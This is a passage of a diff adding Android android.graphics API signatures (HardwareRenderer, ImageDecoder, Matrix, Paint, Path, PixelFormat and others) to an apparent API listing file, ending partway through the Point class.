+  public class EmbossMaskFilter extends android.graphics.MaskFilter {
+    ctor @Deprecated public EmbossMaskFilter(float[], float, float, float);
+  }
+
+  public class HardwareRenderer {
+    ctor public HardwareRenderer();
+    method public void clearContent();
+    method @NonNull public android.graphics.HardwareRenderer.FrameRenderRequest createRenderRequest();
+    method public void destroy();
+    method public boolean isOpaque();
+    method public void notifyFramePending();
+    method public void setContentRoot(@Nullable android.graphics.RenderNode);
+    method public void setLightSourceAlpha(@FloatRange(from=0.0f, to=1.0f) float, @FloatRange(from=0.0f, to=1.0f) float);
+    method public void setLightSourceGeometry(float, float, float, float);
+    method public void setName(@NonNull String);
+    method public void setOpaque(boolean);
+    method public void setSurface(@Nullable android.view.Surface);
+    method public void start();
+    method public void stop();
+    field public static final int SYNC_CONTEXT_IS_STOPPED = 4; // 0x4
+    field public static final int SYNC_FRAME_DROPPED = 8; // 0x8
+    field public static final int SYNC_LOST_SURFACE_REWARD_IF_FOUND = 2; // 0x2
+    field public static final int SYNC_OK = 0; // 0x0
+    field public static final int SYNC_REDRAW_REQUESTED = 1; // 0x1
+  }
+
+  public final class HardwareRenderer.FrameRenderRequest {
+    method @NonNull public android.graphics.HardwareRenderer.FrameRenderRequest setFrameCommitCallback(@NonNull java.util.concurrent.Executor, @NonNull Runnable);
+    method @NonNull public android.graphics.HardwareRenderer.FrameRenderRequest setVsyncTime(long);
+    method @NonNull public android.graphics.HardwareRenderer.FrameRenderRequest setWaitForPresent(boolean);
+    method public int syncAndDraw();
+  }
+
+  public final class ImageDecoder implements java.lang.AutoCloseable {
+    method public void close();
+    method @AnyThread @NonNull public static android.graphics.ImageDecoder.Source createSource(@NonNull android.content.res.Resources, int);
+    method @AnyThread @NonNull public static android.graphics.ImageDecoder.Source createSource(@NonNull android.content.ContentResolver, @NonNull android.net.Uri);
+    method @AnyThread @NonNull public static android.graphics.ImageDecoder.Source createSource(@NonNull android.content.res.AssetManager, @NonNull String);
+    method @AnyThread @NonNull public static android.graphics.ImageDecoder.Source createSource(@NonNull byte[], int, int) throws java.lang.ArrayIndexOutOfBoundsException;
+    method @AnyThread @NonNull public static android.graphics.ImageDecoder.Source createSource(@NonNull byte[]);
+    method @AnyThread @NonNull public static android.graphics.ImageDecoder.Source createSource(@NonNull java.nio.ByteBuffer);
+    method @AnyThread @NonNull public static android.graphics.ImageDecoder.Source createSource(@NonNull java.io.File);
+    method @AnyThread @NonNull public static android.graphics.ImageDecoder.Source createSource(@NonNull java.util.concurrent.Callable<android.content.res.AssetFileDescriptor>);
+    method @NonNull @WorkerThread public static android.graphics.Bitmap decodeBitmap(@NonNull android.graphics.ImageDecoder.Source, @NonNull android.graphics.ImageDecoder.OnHeaderDecodedListener) throws java.io.IOException;
+    method @NonNull @WorkerThread public static android.graphics.Bitmap decodeBitmap(@NonNull android.graphics.ImageDecoder.Source) throws java.io.IOException;
+    method @NonNull @WorkerThread public static android.graphics.drawable.Drawable decodeDrawable(@NonNull android.graphics.ImageDecoder.Source, @NonNull android.graphics.ImageDecoder.OnHeaderDecodedListener) throws java.io.IOException;
+    method @NonNull @WorkerThread public static android.graphics.drawable.Drawable decodeDrawable(@NonNull android.graphics.ImageDecoder.Source) throws java.io.IOException;
+    method public int getAllocator();
+    method @Nullable public android.graphics.Rect getCrop();
+    method public int getMemorySizePolicy();
+    method @Nullable public android.graphics.ImageDecoder.OnPartialImageListener getOnPartialImageListener();
+    method @Nullable public android.graphics.PostProcessor getPostProcessor();
+    method public boolean isDecodeAsAlphaMaskEnabled();
+    method public static boolean isMimeTypeSupported(@NonNull String);
+    method public boolean isMutableRequired();
+    method public boolean isUnpremultipliedRequired();
+    method public void setAllocator(int);
+    method public void setCrop(@Nullable android.graphics.Rect);
+    method public void setDecodeAsAlphaMaskEnabled(boolean);
+    method public void setMemorySizePolicy(int);
+    method public void setMutableRequired(boolean);
+    method public void setOnPartialImageListener(@Nullable android.graphics.ImageDecoder.OnPartialImageListener);
+    method public void setPostProcessor(@Nullable android.graphics.PostProcessor);
+    method public void setTargetColorSpace(android.graphics.ColorSpace);
+    method public void setTargetSampleSize(@IntRange(from=1) int);
+    method public void setTargetSize(@IntRange(from=1) @Px int, @IntRange(from=1) @Px int);
+    method public void setUnpremultipliedRequired(boolean);
+    field public static final int ALLOCATOR_DEFAULT = 0; // 0x0
+    field public static final int ALLOCATOR_HARDWARE = 3; // 0x3
+    field public static final int ALLOCATOR_SHARED_MEMORY = 2; // 0x2
+    field public static final int ALLOCATOR_SOFTWARE = 1; // 0x1
+    field public static final int MEMORY_POLICY_DEFAULT = 1; // 0x1
+    field public static final int MEMORY_POLICY_LOW_RAM = 0; // 0x0
+  }
+
+  public static final class ImageDecoder.DecodeException extends java.io.IOException {
+    method public int getError();
+    method @NonNull public android.graphics.ImageDecoder.Source getSource();
+    field public static final int SOURCE_EXCEPTION = 1; // 0x1
+    field public static final int SOURCE_INCOMPLETE = 2; // 0x2
+    field public static final int SOURCE_MALFORMED_DATA = 3; // 0x3
+  }
+
+  public static class ImageDecoder.ImageInfo {
+    method @Nullable public android.graphics.ColorSpace getColorSpace();
+    method @NonNull public String getMimeType();
+    method @NonNull public android.util.Size getSize();
+    method public boolean isAnimated();
+  }
+
+  public static interface ImageDecoder.OnHeaderDecodedListener {
+    method public void onHeaderDecoded(@NonNull android.graphics.ImageDecoder, @NonNull android.graphics.ImageDecoder.ImageInfo, @NonNull android.graphics.ImageDecoder.Source);
+  }
+
+  public static interface ImageDecoder.OnPartialImageListener {
+    method public boolean onPartialImage(@NonNull android.graphics.ImageDecoder.DecodeException);
+  }
+
+  public abstract static class ImageDecoder.Source {
+  }
+
+  public class ImageFormat {
+    ctor public ImageFormat();
+    method public static int getBitsPerPixel(int);
+    field public static final int DEPTH16 = 1144402265; // 0x44363159
+    field public static final int DEPTH_JPEG = 1768253795; // 0x69656963
+    field public static final int DEPTH_POINT_CLOUD = 257; // 0x101
+    field public static final int FLEX_RGBA_8888 = 42; // 0x2a
+    field public static final int FLEX_RGB_888 = 41; // 0x29
+    field public static final int HEIC = 1212500294; // 0x48454946
+    field public static final int JPEG = 256; // 0x100
+    field public static final int NV16 = 16; // 0x10
+    field public static final int NV21 = 17; // 0x11
+    field public static final int PRIVATE = 34; // 0x22
+    field public static final int RAW10 = 37; // 0x25
+    field public static final int RAW12 = 38; // 0x26
+    field public static final int RAW_PRIVATE = 36; // 0x24
+    field public static final int RAW_SENSOR = 32; // 0x20
+    field public static final int RGB_565 = 4; // 0x4
+    field public static final int UNKNOWN = 0; // 0x0
+    field public static final int Y8 = 538982489; // 0x20203859
+    field public static final int YCBCR_P010 = 54; // 0x36
+    field public static final int YUV_420_888 = 35; // 0x23
+    field public static final int YUV_422_888 = 39; // 0x27
+    field public static final int YUV_444_888 = 40; // 0x28
+    field public static final int YUY2 = 20; // 0x14
+    field public static final int YV12 = 842094169; // 0x32315659
+  }
+
+  public final class Insets implements android.os.Parcelable {
+    method @NonNull public static android.graphics.Insets add(@NonNull android.graphics.Insets, @NonNull android.graphics.Insets);
+    method public int describeContents();
+    method @NonNull public static android.graphics.Insets max(@NonNull android.graphics.Insets, @NonNull android.graphics.Insets);
+    method @NonNull public static android.graphics.Insets min(@NonNull android.graphics.Insets, @NonNull android.graphics.Insets);
+    method @NonNull public static android.graphics.Insets of(int, int, int, int);
+    method @NonNull public static android.graphics.Insets of(@Nullable android.graphics.Rect);
+    method @NonNull public static android.graphics.Insets subtract(@NonNull android.graphics.Insets, @NonNull android.graphics.Insets);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.graphics.Insets> CREATOR;
+    field @NonNull public static final android.graphics.Insets NONE;
+    field public final int bottom;
+    field public final int left;
+    field public final int right;
+    field public final int top;
+  }
+
+  public class Interpolator {
+    ctor public Interpolator(int);
+    ctor public Interpolator(int, int);
+    method public final int getKeyFrameCount();
+    method public final int getValueCount();
+    method public void reset(int);
+    method public void reset(int, int);
+    method public void setKeyFrame(int, int, float[]);
+    method public void setKeyFrame(int, int, float[], float[]);
+    method public void setRepeatMirror(float, boolean);
+    method public android.graphics.Interpolator.Result timeToValues(float[]);
+    method public android.graphics.Interpolator.Result timeToValues(int, float[]);
+  }
+
+  public enum Interpolator.Result {
+    enum_constant public static final android.graphics.Interpolator.Result FREEZE_END;
+    enum_constant public static final android.graphics.Interpolator.Result FREEZE_START;
+    enum_constant public static final android.graphics.Interpolator.Result NORMAL;
+  }
+
+  public class LightingColorFilter extends android.graphics.ColorFilter {
+    ctor public LightingColorFilter(@ColorInt int, @ColorInt int);
+    method @ColorInt public int getColorAdd();
+    method @ColorInt public int getColorMultiply();
+  }
+
+  public class LinearGradient extends android.graphics.Shader {
+    ctor public LinearGradient(float, float, float, float, @ColorInt @NonNull int[], @Nullable float[], @NonNull android.graphics.Shader.TileMode);
+    ctor public LinearGradient(float, float, float, float, @ColorLong @NonNull long[], @Nullable float[], @NonNull android.graphics.Shader.TileMode);
+    ctor public LinearGradient(float, float, float, float, @ColorInt int, @ColorInt int, @NonNull android.graphics.Shader.TileMode);
+    ctor public LinearGradient(float, float, float, float, @ColorLong long, @ColorLong long, @NonNull android.graphics.Shader.TileMode);
+  }
+
+  public class MaskFilter {
+    ctor public MaskFilter();
+  }
+
+  public class Matrix {
+    ctor public Matrix();
+    ctor public Matrix(android.graphics.Matrix);
+    method public final void dump(@NonNull java.io.PrintWriter);
+    method public void getValues(float[]);
+    method public boolean invert(android.graphics.Matrix);
+    method public boolean isAffine();
+    method public boolean isIdentity();
+    method public void mapPoints(float[], int, float[], int, int);
+    method public void mapPoints(float[], float[]);
+    method public void mapPoints(float[]);
+    method public float mapRadius(float);
+    method public boolean mapRect(android.graphics.RectF, android.graphics.RectF);
+    method public boolean mapRect(android.graphics.RectF);
+    method public void mapVectors(float[], int, float[], int, int);
+    method public void mapVectors(float[], float[]);
+    method public void mapVectors(float[]);
+    method public boolean postConcat(android.graphics.Matrix);
+    method public boolean postRotate(float, float, float);
+    method public boolean postRotate(float);
+    method public boolean postScale(float, float, float, float);
+    method public boolean postScale(float, float);
+    method public boolean postSkew(float, float, float, float);
+    method public boolean postSkew(float, float);
+    method public boolean postTranslate(float, float);
+    method public boolean preConcat(android.graphics.Matrix);
+    method public boolean preRotate(float, float, float);
+    method public boolean preRotate(float);
+    method public boolean preScale(float, float, float, float);
+    method public boolean preScale(float, float);
+    method public boolean preSkew(float, float, float, float);
+    method public boolean preSkew(float, float);
+    method public boolean preTranslate(float, float);
+    method public boolean rectStaysRect();
+    method public void reset();
+    method public void set(android.graphics.Matrix);
+    method public boolean setConcat(android.graphics.Matrix, android.graphics.Matrix);
+    method public boolean setPolyToPoly(float[], int, float[], int, int);
+    method public boolean setRectToRect(android.graphics.RectF, android.graphics.RectF, android.graphics.Matrix.ScaleToFit);
+    method public void setRotate(float, float, float);
+    method public void setRotate(float);
+    method public void setScale(float, float, float, float);
+    method public void setScale(float, float);
+    method public void setSinCos(float, float, float, float);
+    method public void setSinCos(float, float);
+    method public void setSkew(float, float, float, float);
+    method public void setSkew(float, float);
+    method public void setTranslate(float, float);
+    method public void setValues(float[]);
+    method public String toShortString();
+    field @NonNull public static final android.graphics.Matrix IDENTITY_MATRIX;
+    field public static final int MPERSP_0 = 6; // 0x6
+    field public static final int MPERSP_1 = 7; // 0x7
+    field public static final int MPERSP_2 = 8; // 0x8
+    field public static final int MSCALE_X = 0; // 0x0
+    field public static final int MSCALE_Y = 4; // 0x4
+    field public static final int MSKEW_X = 1; // 0x1
+    field public static final int MSKEW_Y = 3; // 0x3
+    field public static final int MTRANS_X = 2; // 0x2
+    field public static final int MTRANS_Y = 5; // 0x5
+  }
+
+  public enum Matrix.ScaleToFit {
+    enum_constant public static final android.graphics.Matrix.ScaleToFit CENTER;
+    enum_constant public static final android.graphics.Matrix.ScaleToFit END;
+    enum_constant public static final android.graphics.Matrix.ScaleToFit FILL;
+    enum_constant public static final android.graphics.Matrix.ScaleToFit START;
+  }
+
+  @Deprecated public class Movie {
+    method @Deprecated public static android.graphics.Movie decodeByteArray(byte[], int, int);
+    method @Deprecated public static android.graphics.Movie decodeFile(String);
+    method @Deprecated public static android.graphics.Movie decodeStream(java.io.InputStream);
+    method @Deprecated public void draw(android.graphics.Canvas, float, float, android.graphics.Paint);
+    method @Deprecated public void draw(android.graphics.Canvas, float, float);
+    method @Deprecated public int duration();
+    method @Deprecated public int height();
+    method @Deprecated public boolean isOpaque();
+    method @Deprecated public boolean setTime(int);
+    method @Deprecated public int width();
+  }
+
+  public class NinePatch {
+    ctor public NinePatch(android.graphics.Bitmap, byte[]);
+    ctor public NinePatch(android.graphics.Bitmap, byte[], String);
+    method public void draw(android.graphics.Canvas, android.graphics.RectF);
+    method public void draw(android.graphics.Canvas, android.graphics.Rect);
+    method public void draw(android.graphics.Canvas, android.graphics.Rect, android.graphics.Paint);
+    method public android.graphics.Bitmap getBitmap();
+    method public int getDensity();
+    method public int getHeight();
+    method public String getName();
+    method public android.graphics.Paint getPaint();
+    method public final android.graphics.Region getTransparentRegion(android.graphics.Rect);
+    method public int getWidth();
+    method public final boolean hasAlpha();
+    method public static boolean isNinePatchChunk(byte[]);
+    method public void setPaint(android.graphics.Paint);
+  }
+
+  public final class Outline {
+    ctor public Outline();
+    ctor public Outline(@NonNull android.graphics.Outline);
+    method public boolean canClip();
+    method public float getAlpha();
+    method public float getRadius();
+    method public boolean getRect(@NonNull android.graphics.Rect);
+    method public boolean isEmpty();
+    method public void offset(int, int);
+    method public void set(@NonNull android.graphics.Outline);
+    method public void setAlpha(@FloatRange(from=0.0, to=1.0) float);
+    method @Deprecated public void setConvexPath(@NonNull android.graphics.Path);
+    method public void setEmpty();
+    method public void setOval(int, int, int, int);
+    method public void setOval(@NonNull android.graphics.Rect);
+    method public void setPath(@NonNull android.graphics.Path);
+    method public void setRect(int, int, int, int);
+    method public void setRect(@NonNull android.graphics.Rect);
+    method public void setRoundRect(int, int, int, int, float);
+    method public void setRoundRect(@NonNull android.graphics.Rect, float);
+  }
+
+  public class Paint {
+    ctor public Paint();
+    ctor public Paint(int);
+    ctor public Paint(android.graphics.Paint);
+    method public float ascent();
+    method public int breakText(char[], int, int, float, float[]);
+    method public int breakText(CharSequence, int, int, boolean, float, float[]);
+    method public int breakText(String, boolean, float, float[]);
+    method public void clearShadowLayer();
+    method public float descent();
+    method public boolean equalsForTextMeasurement(@NonNull android.graphics.Paint);
+    method public int getAlpha();
+    method @Nullable public android.graphics.BlendMode getBlendMode();
+    method @ColorInt public int getColor();
+    method public android.graphics.ColorFilter getColorFilter();
+    method @ColorLong public long getColorLong();
+    method public int getEndHyphenEdit();
+    method public boolean getFillPath(android.graphics.Path, android.graphics.Path);
+    method public int getFlags();
+    method public String getFontFeatureSettings();
+    method public float getFontMetrics(android.graphics.Paint.FontMetrics);
+    method public android.graphics.Paint.FontMetrics getFontMetrics();
+    method public int getFontMetricsInt(android.graphics.Paint.FontMetricsInt);
+    method public android.graphics.Paint.FontMetricsInt getFontMetricsInt();
+    method public float getFontSpacing();
+    method public String getFontVariationSettings();
+    method public int getHinting();
+    method public float getLetterSpacing();
+    method public android.graphics.MaskFilter getMaskFilter();
+    method public int getOffsetForAdvance(char[], int, int, int, int, boolean, float);
+    method public int getOffsetForAdvance(CharSequence, int, int, int, int, boolean, float);
+    method public android.graphics.PathEffect getPathEffect();
+    method public float getRunAdvance(char[], int, int, int, int, boolean, int);
+    method public float getRunAdvance(CharSequence, int, int, int, int, boolean, int);
+    method public android.graphics.Shader getShader();
+    method @ColorInt public int getShadowLayerColor();
+    method @ColorLong public long getShadowLayerColorLong();
+    method public float getShadowLayerDx();
+    method public float getShadowLayerDy();
+    method public float getShadowLayerRadius();
+    method public int getStartHyphenEdit();
+    method @Px public float getStrikeThruPosition();
+    method @Px public float getStrikeThruThickness();
+    method public android.graphics.Paint.Cap getStrokeCap();
+    method public android.graphics.Paint.Join getStrokeJoin();
+    method public float getStrokeMiter();
+    method public float getStrokeWidth();
+    method public android.graphics.Paint.Style getStyle();
+    method public android.graphics.Paint.Align getTextAlign();
+    method public void getTextBounds(String, int, int, android.graphics.Rect);
+    method public void getTextBounds(@NonNull CharSequence, int, int, @NonNull android.graphics.Rect);
+    method public void getTextBounds(char[], int, int, android.graphics.Rect);
+    method @NonNull public java.util.Locale getTextLocale();
+    method @NonNull @Size(min=1) public android.os.LocaleList getTextLocales();
+    method public void getTextPath(char[], int, int, float, float, android.graphics.Path);
+    method public void getTextPath(String, int, int, float, float, android.graphics.Path);
+    method public float getTextRunAdvances(@NonNull char[], @IntRange(from=0) int, @IntRange(from=0) int, @IntRange(from=0) int, @IntRange(from=0) int, boolean, @Nullable float[], @IntRange(from=0) int);
+    method public int getTextRunCursor(@NonNull char[], @IntRange(from=0) int, @IntRange(from=0) int, boolean, @IntRange(from=0) int, int);
+    method public int getTextRunCursor(@NonNull CharSequence, @IntRange(from=0) int, @IntRange(from=0) int, boolean, @IntRange(from=0) int, int);
+    method public float getTextScaleX();
+    method public float getTextSize();
+    method public float getTextSkewX();
+    method public int getTextWidths(char[], int, int, float[]);
+    method public int getTextWidths(CharSequence, int, int, float[]);
+    method public int getTextWidths(String, int, int, float[]);
+    method public int getTextWidths(String, float[]);
+    method public android.graphics.Typeface getTypeface();
+    method @Px public float getUnderlinePosition();
+    method @Px public float getUnderlineThickness();
+    method @Px public float getWordSpacing();
+    method public android.graphics.Xfermode getXfermode();
+    method public boolean hasGlyph(String);
+    method public final boolean isAntiAlias();
+    method public final boolean isDither();
+    method public boolean isElegantTextHeight();
+    method public final boolean isFakeBoldText();
+    method public final boolean isFilterBitmap();
+    method public final boolean isLinearText();
+    method public final boolean isStrikeThruText();
+    method public final boolean isSubpixelText();
+    method public final boolean isUnderlineText();
+    method public float measureText(char[], int, int);
+    method public float measureText(String, int, int);
+    method public float measureText(String);
+    method public float measureText(CharSequence, int, int);
+    method public void reset();
+    method public void set(android.graphics.Paint);
+    method public void setARGB(int, int, int, int);
+    method public void setAlpha(int);
+    method public void setAntiAlias(boolean);
+    method public void setBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setColor(@ColorInt int);
+    method public void setColor(@ColorLong long);
+    method public android.graphics.ColorFilter setColorFilter(android.graphics.ColorFilter);
+    method public void setDither(boolean);
+    method public void setElegantTextHeight(boolean);
+    method public void setEndHyphenEdit(int);
+    method public void setFakeBoldText(boolean);
+    method public void setFilterBitmap(boolean);
+    method public void setFlags(int);
+    method public void setFontFeatureSettings(String);
+    method public boolean setFontVariationSettings(String);
+    method public void setHinting(int);
+    method public void setLetterSpacing(float);
+    method public void setLinearText(boolean);
+    method public android.graphics.MaskFilter setMaskFilter(android.graphics.MaskFilter);
+    method public android.graphics.PathEffect setPathEffect(android.graphics.PathEffect);
+    method public android.graphics.Shader setShader(android.graphics.Shader);
+    method public void setShadowLayer(float, float, float, @ColorInt int);
+    method public void setShadowLayer(float, float, float, @ColorLong long);
+    method public void setStartHyphenEdit(int);
+    method public void setStrikeThruText(boolean);
+    method public void setStrokeCap(android.graphics.Paint.Cap);
+    method public void setStrokeJoin(android.graphics.Paint.Join);
+    method public void setStrokeMiter(float);
+    method public void setStrokeWidth(float);
+    method public void setStyle(android.graphics.Paint.Style);
+    method public void setSubpixelText(boolean);
+    method public void setTextAlign(android.graphics.Paint.Align);
+    method public void setTextLocale(@NonNull java.util.Locale);
+    method public void setTextLocales(@NonNull @Size(min=1) android.os.LocaleList);
+    method public void setTextScaleX(float);
+    method public void setTextSize(float);
+    method public void setTextSkewX(float);
+    method public android.graphics.Typeface setTypeface(android.graphics.Typeface);
+    method public void setUnderlineText(boolean);
+    method public void setWordSpacing(@Px float);
+    method public android.graphics.Xfermode setXfermode(android.graphics.Xfermode);
+    field public static final int ANTI_ALIAS_FLAG = 1; // 0x1
+    field public static final int CURSOR_AFTER = 0; // 0x0
+    field public static final int CURSOR_AT = 4; // 0x4
+    field public static final int CURSOR_AT_OR_AFTER = 1; // 0x1
+    field public static final int CURSOR_AT_OR_BEFORE = 3; // 0x3
+    field public static final int CURSOR_BEFORE = 2; // 0x2
+    field public static final int DEV_KERN_TEXT_FLAG = 256; // 0x100
+    field public static final int DITHER_FLAG = 4; // 0x4
+    field public static final int EMBEDDED_BITMAP_TEXT_FLAG = 1024; // 0x400
+    field public static final int END_HYPHEN_EDIT_INSERT_ARMENIAN_HYPHEN = 3; // 0x3
+    field public static final int END_HYPHEN_EDIT_INSERT_HYPHEN = 2; // 0x2
+    field public static final int END_HYPHEN_EDIT_INSERT_MAQAF = 4; // 0x4
+    field public static final int END_HYPHEN_EDIT_INSERT_UCAS_HYPHEN = 5; // 0x5
+    field public static final int END_HYPHEN_EDIT_INSERT_ZWJ_AND_HYPHEN = 6; // 0x6
+    field public static final int END_HYPHEN_EDIT_NO_EDIT = 0; // 0x0
+    field public static final int END_HYPHEN_EDIT_REPLACE_WITH_HYPHEN = 1; // 0x1
+    field public static final int FAKE_BOLD_TEXT_FLAG = 32; // 0x20
+    field public static final int FILTER_BITMAP_FLAG = 2; // 0x2
+    field public static final int HINTING_OFF = 0; // 0x0
+    field public static final int HINTING_ON = 1; // 0x1
+    field public static final int LINEAR_TEXT_FLAG = 64; // 0x40
+    field public static final int START_HYPHEN_EDIT_INSERT_HYPHEN = 1; // 0x1
+    field public static final int START_HYPHEN_EDIT_INSERT_ZWJ = 2; // 0x2
+    field public static final int START_HYPHEN_EDIT_NO_EDIT = 0; // 0x0
+    field public static final int STRIKE_THRU_TEXT_FLAG = 16; // 0x10
+    field public static final int SUBPIXEL_TEXT_FLAG = 128; // 0x80
+    field public static final int UNDERLINE_TEXT_FLAG = 8; // 0x8
+  }
+
+  public enum Paint.Align {
+    enum_constant public static final android.graphics.Paint.Align CENTER;
+    enum_constant public static final android.graphics.Paint.Align LEFT;
+    enum_constant public static final android.graphics.Paint.Align RIGHT;
+  }
+
+  public enum Paint.Cap {
+    enum_constant public static final android.graphics.Paint.Cap BUTT;
+    enum_constant public static final android.graphics.Paint.Cap ROUND;
+    enum_constant public static final android.graphics.Paint.Cap SQUARE;
+  }
+
+  public static class Paint.FontMetrics {
+    ctor public Paint.FontMetrics();
+    field public float ascent;
+    field public float bottom;
+    field public float descent;
+    field public float leading;
+    field public float top;
+  }
+
+  public static class Paint.FontMetricsInt {
+    ctor public Paint.FontMetricsInt();
+    field public int ascent;
+    field public int bottom;
+    field public int descent;
+    field public int leading;
+    field public int top;
+  }
+
+  public enum Paint.Join {
+    enum_constant public static final android.graphics.Paint.Join BEVEL;
+    enum_constant public static final android.graphics.Paint.Join MITER;
+    enum_constant public static final android.graphics.Paint.Join ROUND;
+  }
+
+  public enum Paint.Style {
+    enum_constant public static final android.graphics.Paint.Style FILL;
+    enum_constant public static final android.graphics.Paint.Style FILL_AND_STROKE;
+    enum_constant public static final android.graphics.Paint.Style STROKE;
+  }
+
+  public class PaintFlagsDrawFilter extends android.graphics.DrawFilter {
+    ctor public PaintFlagsDrawFilter(int, int);
+  }
+
+  public final class ParcelableColorSpace implements android.os.Parcelable {
+    ctor public ParcelableColorSpace(@NonNull android.graphics.ColorSpace);
+    method public int describeContents();
+    method @NonNull public android.graphics.ColorSpace getColorSpace();
+    method public static boolean isParcelable(@NonNull android.graphics.ColorSpace);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.graphics.ParcelableColorSpace> CREATOR;
+  }
+
+  public class Path {
+    ctor public Path();
+    ctor public Path(@Nullable android.graphics.Path);
+    method public void addArc(@NonNull android.graphics.RectF, float, float);
+    method public void addArc(float, float, float, float, float, float);
+    method public void addCircle(float, float, float, @NonNull android.graphics.Path.Direction);
+    method public void addOval(@NonNull android.graphics.RectF, @NonNull android.graphics.Path.Direction);
+    method public void addOval(float, float, float, float, @NonNull android.graphics.Path.Direction);
+    method public void addPath(@NonNull android.graphics.Path, float, float);
+    method public void addPath(@NonNull android.graphics.Path);
+    method public void addPath(@NonNull android.graphics.Path, @NonNull android.graphics.Matrix);
+    method public void addRect(@NonNull android.graphics.RectF, @NonNull android.graphics.Path.Direction);
+    method public void addRect(float, float, float, float, @NonNull android.graphics.Path.Direction);
+    method public void addRoundRect(@NonNull android.graphics.RectF, float, float, @NonNull android.graphics.Path.Direction);
+    method public void addRoundRect(float, float, float, float, float, float, @NonNull android.graphics.Path.Direction);
+    method public void addRoundRect(@NonNull android.graphics.RectF, @NonNull float[], @NonNull android.graphics.Path.Direction);
+    method public void addRoundRect(float, float, float, float, @NonNull float[], @NonNull android.graphics.Path.Direction);
+    method @NonNull @Size(min=6, multiple=3) public float[] approximate(@FloatRange(from=0) float);
+    method public void arcTo(@NonNull android.graphics.RectF, float, float, boolean);
+    method public void arcTo(@NonNull android.graphics.RectF, float, float);
+    method public void arcTo(float, float, float, float, float, float, boolean);
+    method public void close();
+    method public void computeBounds(@NonNull android.graphics.RectF, boolean);
+    method public void cubicTo(float, float, float, float, float, float);
+    method @NonNull public android.graphics.Path.FillType getFillType();
+    method public void incReserve(int);
+    method @Deprecated public boolean isConvex();
+    method public boolean isEmpty();
+    method public boolean isInverseFillType();
+    method public boolean isRect(@Nullable android.graphics.RectF);
+    method public void lineTo(float, float);
+    method public void moveTo(float, float);
+    method public void offset(float, float, @Nullable android.graphics.Path);
+    method public void offset(float, float);
+    method public boolean op(@NonNull android.graphics.Path, @NonNull android.graphics.Path.Op);
+    method public boolean op(@NonNull android.graphics.Path, @NonNull android.graphics.Path, @NonNull android.graphics.Path.Op);
+    method public void quadTo(float, float, float, float);
+    method public void rCubicTo(float, float, float, float, float, float);
+    method public void rLineTo(float, float);
+    method public void rMoveTo(float, float);
+    method public void rQuadTo(float, float, float, float);
+    method public void reset();
+    method public void rewind();
+    method public void set(@NonNull android.graphics.Path);
+    method public void setFillType(@NonNull android.graphics.Path.FillType);
+    method public void setLastPoint(float, float);
+    method public void toggleInverseFillType();
+    method public void transform(@NonNull android.graphics.Matrix, @Nullable android.graphics.Path);
+    method public void transform(@NonNull android.graphics.Matrix);
+  }
+
+  public enum Path.Direction {
+    enum_constant public static final android.graphics.Path.Direction CCW;
+    enum_constant public static final android.graphics.Path.Direction CW;
+  }
+
+  public enum Path.FillType {
+    enum_constant public static final android.graphics.Path.FillType EVEN_ODD;
+    enum_constant public static final android.graphics.Path.FillType INVERSE_EVEN_ODD;
+    enum_constant public static final android.graphics.Path.FillType INVERSE_WINDING;
+    enum_constant public static final android.graphics.Path.FillType WINDING;
+  }
+
+  public enum Path.Op {
+    enum_constant public static final android.graphics.Path.Op DIFFERENCE;
+    enum_constant public static final android.graphics.Path.Op INTERSECT;
+    enum_constant public static final android.graphics.Path.Op REVERSE_DIFFERENCE;
+    enum_constant public static final android.graphics.Path.Op UNION;
+    enum_constant public static final android.graphics.Path.Op XOR;
+  }
+
+  public class PathDashPathEffect extends android.graphics.PathEffect {
+    ctor public PathDashPathEffect(android.graphics.Path, float, float, android.graphics.PathDashPathEffect.Style);
+  }
+
+  public enum PathDashPathEffect.Style {
+    enum_constant public static final android.graphics.PathDashPathEffect.Style MORPH;
+    enum_constant public static final android.graphics.PathDashPathEffect.Style ROTATE;
+    enum_constant public static final android.graphics.PathDashPathEffect.Style TRANSLATE;
+  }
+
+  public class PathEffect {
+    ctor public PathEffect();
+  }
+
+  public class PathMeasure {
+    ctor public PathMeasure();
+    ctor public PathMeasure(android.graphics.Path, boolean);
+    method public float getLength();
+    method public boolean getMatrix(float, android.graphics.Matrix, int);
+    method public boolean getPosTan(float, float[], float[]);
+    method public boolean getSegment(float, float, android.graphics.Path, boolean);
+    method public boolean isClosed();
+    method public boolean nextContour();
+    method public void setPath(android.graphics.Path, boolean);
+    field public static final int POSITION_MATRIX_FLAG = 1; // 0x1
+    field public static final int TANGENT_MATRIX_FLAG = 2; // 0x2
+  }
+
+  public class Picture {
+    ctor public Picture();
+    ctor public Picture(android.graphics.Picture);
+    method @NonNull public android.graphics.Canvas beginRecording(int, int);
+    method public void draw(@NonNull android.graphics.Canvas);
+    method public void endRecording();
+    method public int getHeight();
+    method public int getWidth();
+    method public boolean requiresHardwareAcceleration();
+  }
+
+  public class PixelFormat {
+    ctor public PixelFormat();
+    method public static boolean formatHasAlpha(int);
+    method public static void getPixelFormatInfo(int, android.graphics.PixelFormat);
+    field @Deprecated public static final int A_8 = 8; // 0x8
+    field @Deprecated public static final int JPEG = 256; // 0x100
+    field @Deprecated public static final int LA_88 = 10; // 0xa
+    field @Deprecated public static final int L_8 = 9; // 0x9
+    field public static final int OPAQUE = -1; // 0xffffffff
+    field public static final int RGBA_1010102 = 43; // 0x2b
+    field @Deprecated public static final int RGBA_4444 = 7; // 0x7
+    field @Deprecated public static final int RGBA_5551 = 6; // 0x6
+    field public static final int RGBA_8888 = 1; // 0x1
+    field public static final int RGBA_F16 = 22; // 0x16
+    field public static final int RGBX_8888 = 2; // 0x2
+    field @Deprecated public static final int RGB_332 = 11; // 0xb
+    field public static final int RGB_565 = 4; // 0x4
+    field public static final int RGB_888 = 3; // 0x3
+    field public static final int TRANSLUCENT = -3; // 0xfffffffd
+    field public static final int TRANSPARENT = -2; // 0xfffffffe
+    field public static final int UNKNOWN = 0; // 0x0
+    field @Deprecated public static final int YCbCr_420_SP = 17; // 0x11
+    field @Deprecated public static final int YCbCr_422_I = 20; // 0x14
+    field @Deprecated public static final int YCbCr_422_SP = 16; // 0x10
+    field public int bitsPerPixel;
+    field public int bytesPerPixel;
+  }
+
+  public class Point implements android.os.Parcelable {
+    ctor public Point();
+    ctor public Point(int, int);
+    ctor public Point(@NonNull android.graphics.Point);
+    method public int describeContents();
+    method public final boolean equals(int, int);
